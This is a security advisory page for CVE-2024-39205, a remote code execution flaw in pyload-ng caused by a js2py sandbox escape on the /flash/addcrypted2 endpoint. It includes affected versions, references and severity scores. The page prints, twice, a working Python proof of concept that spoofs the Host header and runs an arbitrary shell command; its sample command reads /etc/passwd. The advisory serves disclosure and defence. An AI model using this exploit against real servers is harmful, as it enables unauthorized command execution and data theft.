PYSEC-2026-499

Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:23
VLAI
Details

Summary

Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.

Details

js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the /flash/addcrypted2 API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.

PoC

The PoC is provided as poc.py below, you can modify the shell command it execute:

```python import socket import base64 from urllib.parse import quote

host, port = input("host: "), int(input("port: "))

payload = """ // [+] command goes here: let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;" let hacked, bymarve, n11 let getattr, obj

hacked = Object.getOwnPropertyNames({}) bymarve = hacked.getattribute n11 = bymarve("getattribute") obj = n11("class").base getattr = obj.getattribute

function findpopen(o) { let result; for(let i in o.subclasses()) { let item = o.subclasses()[i] if(item.module == "subprocess" && item.name == "Popen") { return item } if(item.name != "type" && (result = findpopen(item))) { return result } } }

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate() console.log(n11) function f() { return n11 }

"""

crypted_b64 = base64.b64encode(b"1234").decode()

data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"

request = f"""\ POST /flash/addcrypted2 HTTP/1.1 Host: 127.0.0.1:9666 Content-Type: application/x-www-form-urlencoded Content-Length: {len(data)}

{data} """.encode().replace(b"\n", b"\r\n")

def main():

s = socket.socket()
s.connect((host, port))

s.send(request)
response = s.recv(1024).decode()
print(response)

if name == "main": main()

```

Impact

Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.

Impacted products
Name purl
pyload-ng pkg:pypi/pyload-ng

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng",
        "purl": "pkg:pypi/pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.0b3.dev85"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.5.0a5.dev528",
        "0.5.0a5.dev532",
        "0.5.0a5.dev535",
        "0.5.0a5.dev536",
        "0.5.0a5.dev537",
        "0.5.0a5.dev539",
        "0.5.0a5.dev540",
        "0.5.0a5.dev545",
        "0.5.0a5.dev562",
        "0.5.0a5.dev564",
        "0.5.0a5.dev565",
        "0.5.0a6.dev570",
        "0.5.0a6.dev578",
        "0.5.0a6.dev587",
        "0.5.0a7.dev596",
        "0.5.0a8.dev602",
        "0.5.0a9.dev615",
        "0.5.0a9.dev629",
        "0.5.0a9.dev632",
        "0.5.0a9.dev641",
        "0.5.0a9.dev643",
        "0.5.0a9.dev655",
        "0.5.0a9.dev806",
        "0.5.0b1.dev1",
        "0.5.0b1.dev2",
        "0.5.0b1.dev3",
        "0.5.0b1.dev4",
        "0.5.0b1.dev5",
        "0.5.0b2.dev10",
        "0.5.0b2.dev11",
        "0.5.0b2.dev12",
        "0.5.0b2.dev9",
        "0.5.0b3.dev13",
        "0.5.0b3.dev14",
        "0.5.0b3.dev17",
        "0.5.0b3.dev18",
        "0.5.0b3.dev19",
        "0.5.0b3.dev20",
        "0.5.0b3.dev21",
        "0.5.0b3.dev22",
        "0.5.0b3.dev24",
        "0.5.0b3.dev26",
        "0.5.0b3.dev27",
        "0.5.0b3.dev28",
        "0.5.0b3.dev29",
        "0.5.0b3.dev30",
        "0.5.0b3.dev31",
        "0.5.0b3.dev32",
        "0.5.0b3.dev33",
        "0.5.0b3.dev34",
        "0.5.0b3.dev35",
        "0.5.0b3.dev38",
        "0.5.0b3.dev39",
        "0.5.0b3.dev40",
        "0.5.0b3.dev41",
        "0.5.0b3.dev42",
        "0.5.0b3.dev43",
        "0.5.0b3.dev44",
        "0.5.0b3.dev45",
        "0.5.0b3.dev46",
        "0.5.0b3.dev47",
        "0.5.0b3.dev48",
        "0.5.0b3.dev49",
        "0.5.0b3.dev50",
        "0.5.0b3.dev51",
        "0.5.0b3.dev52",
        "0.5.0b3.dev53",
        "0.5.0b3.dev54",
        "0.5.0b3.dev57",
        "0.5.0b3.dev60",
        "0.5.0b3.dev62",
        "0.5.0b3.dev64",
        "0.5.0b3.dev65",
        "0.5.0b3.dev66",
        "0.5.0b3.dev67",
        "0.5.0b3.dev68",
        "0.5.0b3.dev69",
        "0.5.0b3.dev70",
        "0.5.0b3.dev71",
        "0.5.0b3.dev72",
        "0.5.0b3.dev73",
        "0.5.0b3.dev74",
        "0.5.0b3.dev75",
        "0.5.0b3.dev76",
        "0.5.0b3.dev77",
        "0.5.0b3.dev78",
        "0.5.0b3.dev79",
        "0.5.0b3.dev80",
        "0.5.0b3.dev81",
        "0.5.0b3.dev82",
        "0.5.0b3.dev85"
      ]
    }
  ],
  "aliases": [
    "CVE-2024-39205",
    "GHSA-r9pp-r4xf-597r"
  ],
  "details": "### Summary\nAny pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.\n\n### Details\njs2py has a vulnerability of sandbox escape assigned as [CVE-2024-28397](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape), which is used by the `/flash/addcrypted2` API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.\n \n### PoC\n\nThe PoC is provided as `poc.py` below, you can modify the shell command it execute:\n\n ```python\nimport socket\nimport base64\nfrom urllib.parse import quote\n\nhost, port = input(\"host: \"), int(input(\"port: \"))\n\npayload = \"\"\"\n// [+] command goes here:\nlet cmd = \"head -n 1 /etc/passwd; calc; gnome-calculator;\"\nlet hacked, bymarve, n11\nlet getattr, obj\n\nhacked = Object.getOwnPropertyNames({})\nbymarve = hacked.__getattribute__\nn11 = bymarve(\"__getattribute__\")\nobj = n11(\"__class__\").__base__\ngetattr = obj.__getattribute__\n\nfunction findpopen(o) {\n    let result;\n    for(let i in o.__subclasses__()) {\n        let item = o.__subclasses__()[i]\n        if(item.__module__ == \"subprocess\" \u0026\u0026 item.__name__ == \"Popen\") {\n            return item\n        }\n        if(item.__name__ != \"type\" \u0026\u0026 (result = findpopen(item))) {\n            return result\n        }\n    }\n}\n\nn11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()\nconsole.log(n11)\nfunction f() {\n    return n11\n}\n\n\"\"\"\n\ncrypted_b64 = base64.b64encode(b\"1234\").decode()\n \ndata = f\"package=pkg\u0026crypted={quote(crypted_b64)}\u0026jk={quote(payload)}\"\n\nrequest = f\"\"\"\\\nPOST /flash/addcrypted2 HTTP/1.1\nHost: 127.0.0.1:9666\nContent-Type: application/x-www-form-urlencoded\nContent-Length: {len(data)}\n\n{data}\n\"\"\".encode().replace(b\"\\n\", b\"\\r\\n\")\n\ndef main():\n\n    s = socket.socket()\n    s.connect((host, port))\n\n    s.send(request)\n    response = s.recv(1024).decode()\n    print(response)\n\nif __name__ == \"__main__\":\n    main()\n\n\n```\n\n### Impact\n\nAnyone who runs the latest version (\u003c=0.5.0b3.dev85) of  pyload-ng under python3.11 or below. pyload-ng doesn\u0027t use js2py for python3.12 or above.\n",
  "id": "PYSEC-2026-499",
  "modified": "2026-07-01T20:23:02.954778Z",
  "published": "2026-06-29T11:50:40.987839Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-r9pp-r4xf-597r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39205"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-h95x-26f3-88hr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/pyload-ng"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-r9pp-r4xf-597r"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pyload-ng vulnerable to RCE with js2py sandbox escape"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…